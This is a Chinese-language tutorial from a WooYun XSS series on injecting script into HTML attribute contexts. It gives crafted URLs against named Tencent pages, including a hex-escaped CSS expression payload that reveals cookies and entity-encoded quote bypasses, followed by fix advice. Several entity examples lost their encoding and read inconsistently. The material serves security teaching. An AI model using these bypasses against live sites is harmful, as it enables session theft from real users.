# 3\. 輸出在 HTML 屬性里的情況
> 來源:[3\. 輸出在 HTML 屬性里的情況](http://www.wooyun.org/bugs/wooyun-2010-015963)
## 簡要描述
和前面的不一樣的時,有時候,輸出會出現在 HTML 標簽的屬性之中。
例如: `<input value="輸出">` 、 `<img onload="...[輸出]...">` ,再比如 `<body style="...[輸出]...">` .. 這個時候怎么辦呢?
## 詳細說明
1\. 大網站一般不是吃素的。前面講到的基本情況,一般都很少遇到了。
2\. 這個時候我們可以把目光發展一下,找一找在【輸出】出現在 HTML 屬性里的情況。
3\. 最為典型的一種情況,是下面這樣的。
```
http://xxxx.com/search.php?word=烏云歡迎您
```
HTML 代碼里則是下面這樣情況的。
```
.. 關鍵詞:<input type="text" value="烏云歡迎您" />
```
如果這里的 word 沒過濾雙引號。就會有以下的情況發生。
```
http://xxxx.com/search.php?word=烏云歡迎您" onclick="alert(1)
```
對應的源代碼如下:
```
<input type="text" value="烏云歡迎您" onclick="alert(1)" />
```
解析:

那么當用戶點擊這個文本框時,就會觸發 `alert(1)` 。
4\. 當然理想是美好的,現實總是殘酷的,我水平有限,并沒有在騰訊找到這樣的例子。
因為絕大部分這樣的情況, 騰訊都會做出相應的過濾。 過濾方法也挺簡單,將 `"` 過濾為 `"` 就行。 過濾后的代碼如下:
```
<input type="text" value="烏云歡迎您" onclick="alert(1)" />
```
5\. 一般來說,上面的情況,過濾了 `"` ,可以說是高枕無憂了,但是事實并非如此。某些情況下。我們依然可以繼續 XSS。下面以騰訊 為例。
6\. 首先看第一種場景。
```
http://follow.v.t.qq.com/index.php?c=follow&a=index&appkey=801004516&bg=我是一個兵,愛國愛人民&hsize=80&name=Zhanglifenft,chengyizhong,xiangyang20112007,linchufang,leonardoit,linchufang,qingfengxu6685,zhouzhiche n001,yuguoming-ruc,luomingtitan,bjwbgq,kezuozongbianji,weibotalk,lee007,jxzhongweizhi,lihaipengtx
```
這里的 bg 參數過濾了【幾乎】所有的東西。但是它輸出在了 `<body style="[這里]">`

更重要的是,這里沒有過濾 `\` ,反斜線, 而 css 里,允許使用轉義字符, `\ + ascii` 16 進制形式。這樣一來,我們就可以構造利用語句啦。
這里過濾了 expression, 我們也可以輕松的用 `expr\65ssion` 繞過。
```
http://follow.v.t.qq.com/index.php?c=follow&a=index&appkey=801004516&bg=;w:expr\65ssion\28%20eval\28\27\69\66\28\21\7 7\69\6e\64\6f\77\2e\78\29\7b\61\6c\65\72\74\28\64\6f\63\75\6d\65\6e\74\2e\63\6f\6f\6b\69\65\29\3b\77\69\6e\64\6f\77\2 e\78\3d\31\7d\27\29\29&hsize=80&name=Zhanglifenft,chengyizhong,xiangyang20112007,linchufang,leonardoit,linchufang,qin gfengxu6685,zhouzhichen001,yuguoming-ruc,luomingtitan,bjwbgq,kezuozongbianji,weibotalk,lee007,jxzhongweizhi,lihaipeng tx
```
效果如下:

這種情況,遺憾之處在于,基于 css expression 的 XSS 已經進入暮年了,只有在 IE6,7 下方能觸發,受眾面小。這里只是作為一個案例來講講。
Tips: 至于這里的轉義是如何寫的:步驟如下:
例如 e 的 ascii 16 進制是 65, 我們就寫為 `\65 expression -> expr\65ssion`。
本例缺陷點代碼:
```
<body style="overflow:auto;background-color:#我是一個兵,愛國愛人民;">
```
7\. 再來看下一個在屬性里的案例。這個例子也是比較常見的。比如:
```
<HTML 標簽 onXXXX="...[輸出在這里]..">
<a href="javascript:[輸出在這里]">xxxx </a>
```
的例子。 正好,在騰訊的這個例子中,以上 2 個情況一起出現了。 我們以其中一種進行講解。
```
http://stock.finance.qq.com/report/search.php?searchtype_yjbg=yjjg&searchvalue_yjbg=aaaaaaaaaa
```
看輸出,如下,aaaaaaaa 出現在了 2 個點。

常規來說,因為 `onxxxx="[輸出]"` 和 `href="javascript:[輸出]"` 與 `<script>[輸出]</script>` 沒有太大區別。因為[輸出]所在的地方,都是 javascript 腳本。
但是`<script>[輸出]</script>` 如果被過濾,往往沒有太好的辦法。 而上面這 2 種情況,則有一個很好的辦法繞過過濾。
Tips:
在 HTML 屬性中,會自動對實體字符進行轉義。一個簡單的比方。
```
<img src="1" onerror="alert(1)">
```
和
```
<img src="1" onerror="alert(1)">
```
是等效的
換言之,只要上面的情況,沒有過濾 `&`,`#` 等符號,我們就可以寫入任意字符。 看看缺陷點的代碼
```
<li><input type="text" id="pagenum" class="inputstyle0814" onkeydown="if ((event.keyCode==13) && (this.value!='')) location.href='http://stock.finance.qq.com/report/search.php?offset='+this.value+'&searchtype_yjbg=yjjg&searchvalue_y jbg=aaaaaaaaaa'"/></li>
```
JS 部分我們可以做以下構造,由于'被過濾,我們可以將'寫為 `'`
```
location.href='........&searchvalue_yjbg=aaaaaa'
location.href='........&searchvalue_yjbg=aaaaaa'+alert(1)+'' location.href='........&searchvalue_yjbg=aaaaaa'+alert(1)+''
```
步驟如下:

接著我們把代碼轉換為 url 的編碼。 `& -> %26`, `# -> %23` 最后利用代碼如下:
```
http://stock.finance.qq.com/report/search.php?searchtype_yjbg=yjjg&searchvalue_yjbg=aaaaaaa%26%23x27;%2balert(1)%2b%26%23x27;
```
用戶點擊頁面[GO]按鈕觸發。

缺陷頁面的 `<a href="">` 觸發點的代碼如下:
```
<li><div class="yebg"><a href="javascript:location='http://stock.finance.qq.com/report/search.php?offset='+document.getElementById('pagenum'). value+'&searchtype_yjbg=yjjg&searchvalue_yjbg=aaaaaaaaaa'">GO</a></div></li>
```
## 修復方案
1\. 對于輸出在 HTML 屬性中的情況,需要特殊情況特殊對待,該過濾`\`的時候,請過濾`\`, 該過濾`&`的情況,則過濾掉`&`
2\. 碰到有某些修復的人用正則去判斷, `&#xNNN..`, 而實際上 `�NN;` `�NN`, (后面自己慢慢試。。) 都是可以的。 或者是 `
` 進制; 以及一些特殊的 HTML 實體,如 `"` 等,都要注意到,好麻煩, 最好的辦法,還是 `&`過濾為 `&` :)
- 1. 什么都沒過濾的入門情況
- 2. 輸出在&lt;script&gt;&lt;/script&gt;之間的情況
- 3. 輸出在 HTML 屬性里的情況
- 4. 寬字節復仇記 [QQ 郵箱基本通用]
- 5. 反斜線復仇記
- 6. 換行符復仇記
- 7. 寬字節、反斜線與換行符一起復仇記
- 8. Dom Xss 入門 [顯式輸出]
- 9. Dom Xss 入門 [隱式輸出]
- 10. Dom Xss 進階 [邂逅 eval]
- 11. Dom Xss 進階 [善變 iframe]
- 12. Dom Xss 進階 [路徑 con]
- 13. Dom Xss 實例 [Discuz X2.5]
- 14. Flash Xss 入門 [navigateToURL]
- 15. Flash Xss 進階 [ExternalInterface.call 第一個參數]
- 16. Flash Xss 進階 [ExternalInterface.call 第二個參數]
- 17. XSS 過濾器繞過 [通用繞過]
- 18. XSS 過濾器繞過 [猥瑣繞過]
- 19. 存儲型 XSS 入門 [什么都沒過濾的情況]
- 20. 存儲型 XSS 入門 [套現繞過富文本]
- 21. 存儲型 XSS 進階 [猜測規則,利用 Flash addCallback 構造 XSS]